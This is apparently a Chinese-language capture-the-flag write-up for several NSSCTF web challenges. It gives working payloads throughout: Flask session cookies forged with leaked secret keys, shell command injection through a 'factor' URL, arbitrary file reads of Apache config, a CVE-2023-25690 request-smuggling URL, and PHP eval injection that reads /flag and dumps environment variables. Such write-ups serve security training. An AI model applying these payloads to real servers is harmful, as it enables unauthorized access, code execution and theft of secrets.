打开环境后进入该界面
我们自然是没有账号密码的,这里一开始尝试sql注入但是提示账号密码错误,所以换个思路。
先注册账号密码,注册成功之后先看看忘记密码
功能
发现有hint,给了secretkey: th3f1askisfunny
,猜测是session伪造
然后我们用注册好的账号密码去登录
进去后有个拿flag
,但是直接点是肯定拿不到的
既然我们已经知道secret_key
了,那就去尝试session伪造,我们先得到现在的session
.eJwlzsENwzAIAMBdePcBxsY4y0QYg9Jv0ryq7t5KvQnuDXuecR2wvc47HrA_F2yAkoXJB-Kw1Lmkopm4IvVSugRJ49QSraVqQa-5qncNdS8qOZuvIFOcWCcuk2k8G9myiqMLkTdMcmyeSzpXyR7MTDZ0UlVy-EXuK87_psDnC5sILu4.ZKOIWw.RgfNfFlSxUdKucolY_51_xve0hc
我们要利用flask_session_cookie_manager3
来进行session解密,payload:
python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzsENwzAIAMBdePcBxsY4y0QYg9Jv0ryq7t5KvQnuDXuecR2wvc47HrA_F2yAkoXJB-Kw1Lmkopm4IvVSugRJ49QSraVqQa-5qncNdS8qOZuvIFOcWCcuk2k8G9myiqMLkTdMcmyeSzpXyR7MTDZ0UlVy-EXuK87_psDnC5sILu4.ZKOIWw.RgfNfFlSxUdKucolY_51_xve0hc"
得到:
{'_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}
这里修改一下_user_id
属性,猜测admin
的_user_id
是1
得到payload:
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}"
得到伪造好的session
.eJwlzsENwzAIAMBd_O4DbINxlokAg9Jv0ryq7t5KvQnuXfY84zrK9jrveJT9ucpWgLM29AkwNcUWd1BlF8BR6-BAppZSgyhFKnjP1X1IiHsVTiNfgSpg0A2WsmkzQl3aYQ5GdIJEB_JcPFrnHNFaQ51i2AW9_CL3Fed_g-XzBZsFLu0.ZKOJxg.SN4-0N7QVRYyRKcA3WcDrNnPeu0
然后进入到点击拿flag
后的界面,把伪造好的session放进去,得到flag
题目有hint:原生 Linux 因数爆破工具。flag在根目录
先用dirsearch扫一下,ok,啥也没有,换个思路
回到题目界面
这个tool
是一个超链接,点击之后跳转界面,根据题目描述,得知这里使用了factor
命令对url中的数字进行因数分解
factor命令用于分解因数。factor是Ubuntu自带的分解质因数的指令
然后我们用;
进行命令拼接,来进行RCE,payload:
http://node1.anna.nssctf.cn:28402/factors/3;cd%20../;ls
又发现在url中不能含有/
试了半天一直没有回显,直到构造payload为:
http://node1.anna.nssctf.cn:28402/factors/3;cd%20..;cd%20..;cd%20..;cd..;ls
这里才出现了回显,应该是输出结果只能输出数字和冒号,所以才会一直没有回显
所以可以让数据利用od
命令 以十进制的格式输出
od命令
在Linux中,
od
命令用于以不同的格式显示文件的内容,它可以将文件内容以八进制、十六进制或其他格式进行显示。这个命令对于查看二进制文件或以非文本形式存储数据的文件很有用。
od
命令的基本语法如下:od [选项] [文件名]
以下是一些常用的选项:
-A
:指定显示格式,可以使用的值有d
(十进制,默认)、o
(八进制)、x
(十六进制)等。-t
:指定数据类型,可以使用的值有a
(ASCII字符)、c
(字符,显示字符码)、f
(浮点数)、u
(无符号整数)等。-j
:跳过指定的字节数。-N
:指定要显示的字节数。-v
:显示完整的输出,包括所有输入字节的信息。-w
:指定每行显示的字节数。
所以可以构造payload,并且注意构造的时候url中不可以有/
http://node1.anna.nssctf.cn:28402/factors/3;cd%20..;cd%20..;cd%20..;cd ..;cat flag;od -t d1 -A n flag
得到数据
将得到的数据进行十进制解码,得到flag
上来只有It works!
,先利用burp抓包,发现服务器版本Apache/2.4.55 (Unix)
网上一找发现是个CVE,CVE-2023-25690
Apache HTTP Server 请求走私漏洞 CVE-2023-25690
通过这篇文章可以知道我们要先看看conf/httpd.conf
中以下模块是否启动
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule rewrite_module modules/mod_rewrite.so
然后dirsearch扫一扫
扫描发现有以下文件,先访问index.php
得到以下源码,说明存在可以通过file
变量来进行文件读取
if(isset($_GET['file'])){
echo file_get_contents($_GET['file']);
}
else{
highlight_file(__FILE__);
}
?>
那我们就用file
变量来读取conf/httpd.conf
的内容,在此之前我们要先知道该文件的默认路径
Apache默认安装httpd.conf在哪里?
从这篇文章可以知道路径是/usr/local/apache2/conf/httpd.conf
,构造payload:
http://node4.anna.nssctf.cn:28952/index.php?file=/usr/local/apache2/conf/httpd.conf
Ctrl+F以下,查找那三个模块,显示已经开始,那就可以开始按照文章来打,进行HTTP走私
读取后寻找 RewriteRule
,这里我觉得是将这里的意思就是将请求的内容转发到/hello/*
的路径,这里的/hello/*
是文章内的路径
本题RewriteRule
就是
RewriteRule "^/nssctf/(.*)" "http://backend-server:8080/index.php?id=$1" [P] ProxyPassReverse "/nssctf/" "http://backend-server:8080/"
所以说我们利用的路径就是/nssctf/*
,然后参考文章的利用姿势:
/hello/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + hexdata + b'GET%20/flag.txt
修改一下,得到我们最终的Payload:
/nssctf/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/flag.txt
上来界面和第一题一样,还是先注册然后登录
登录后按f12,发现hint
访问/wor
,除了登陆时间,可以看到该界面也含有session
利用Flask-Unsign
进行cookie解密
flask-unsign --decode --cookie .eJwljr1qQzEMRl_FaM4gW5L_XqAQ6FboGGxJJoF0ucmdQt69t3Q6fIdvOC-4rM0fV-jPbfcTXG4GHSTxQCyKY-Wq5DlZrc0yUiOJi5Uic5ThLIu0tblKiyaitjKNWirzaLrq8UKfyrNpQVNslSVP5JyGcjHTacvNpjhGy8SVjA8QHCH7w7f_mnTM5-3Hob8g_Ilvt1NACef9HhImCph7Sj2m8PH5Be_3Lw1BOng.ZKUMFA.JpHU4CXPbemS9I4M-UWHBZXC3qQ
得到结果
{'_fresh': True, '_id': '524a007c0af68c3e62d889d6039351f4c314415ae45f3c99bf791d55cdf63a87844a9cf81440ebc4b9c70dc098456b0462ac47ddcbdfeddb5e01d63483d46343', '_user_id': '2', 'time': datetime.datetime(2023, 7, 5, 6, 22, 12, tzinfo=datetime.timezone.utc)}
可以看到,session也含有time
属性,所以猜测这个时间是从session中读取,随意修改session查看报错,可以在这查到secret_key
是hardgam3_C0u1d_u_f1ndM3????
然后利用flask_session_cookie_manager3
来伪造session
,使_user_id
的值变成1
构造payload:
flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True, '_id': '524a007c0af68c3e62d889d6039351f4c314415ae45f3c99bf791d55cdf63a87844a9cf81440ebc4b9c70dc098456b0462ac47ddcbdfeddb5e01d63483d46343', '_user_id': '1'}"
这里如果带着
time
会报错,或者也可以给time
后面的值加上单引号
python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True, '_id': '524a007c0af68c3e62d889d6039351f4c314415ae45f3c99bf791d55cdf63a87844a9cf81440ebc4b9c70dc098456b0462ac47ddcbdfeddb5e01d63483d46343', '_user_id': '1', 'time': 'datetime.datetime(2023, 7, 5, 6, 22, 12, tzinfo=datetime.timezone.utc)'}"
这里就取带着time
属性的结果,得到
.eJw9jk1qQzEMhK9ivGrBBNmS_wI9S7Almb5FE3jx2yT07nUo7WJmvoFZzNNexq73T3ue-6HOXjaxZxsDNYDM0EYqjJqClFIlAVaMfhCjJ_KxKcWBXGsfuXqJkWUkbCUXolZ5lLUC7Uy9cgZhqIVi6kApNKYswl2GivSo4CUhFRRagXYdOe66_77xq87tSxdKm_rC0x-8BQjoTHYmOpOcCcEZvzQf23XcPv73L3vcrno6Jr_b7x8Iq0f5.ZKUQyQ.jPY4u2wxipQadF5hj4RanPtWxXs
返回拿flag
界面然后点击拿到flag
题目源码如下
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧
if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
- 参数检查:代码通过
$_GET['mode']
检查请求中的mode
参数,根据不同的值执行不同的操作。- 保存数据模式:如果
mode
参数的值是'save'
,则会执行保存数据的操作。代码首先读取/tmp/data.json
文件中的内容,并将传递的值(使用$_GET['value']
获取)添加到数据中。然后,使用str_replace
函数将最后一个]
替换为', $value']
,这样就在 JSON 数组的末尾添加了一个新的元素。最后,将更新后的数据写回到/tmp/data.json
文件中。- 读取数据模式:如果
mode
参数的值是'read'
,则会执行读取数据的操作。代码首先读取/tmp/data.json
文件中的内容,然后使用eval
函数将其解析为 PHP 代码,并将结果赋给$data
变量。最后,使用print_r
函数打印出读取的数据。
例如,data,json
的内容为:
[1,"Leaf",1234]
然后将value
值为6666
,执行代码后,data.json
中的内容就变为:
[1,"Leaf",1234,6666]
利用sql注入
的思路,如果将value
的值变为]//
,那么后面的代码就会被注释掉
[1,"Leaf",1234]//,]
所以我们可以利用这一点来进行RCE
但是在构造payload的时候要注意addslashes()函数
PHP中addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
所以我们在构造payload的时候要用反引号来构造,或者是用无参RCE来构造payload:
http://node1.anna.nssctf.cn:28167/?mode=save&value=]//%0A;echo%20`cat%20/flag`;//
或者
http://node1.anna.nssctf.cn:28167/?mode=save&value=]//%0a;print_r(getenv());//
然后将mode=read
就可得到flag,如果不行就多开几次靶机
打扰了,这个佬出的题都太有水平了,碰不了一点
出题人wp:NSSCTFround13WP-TimeTrcer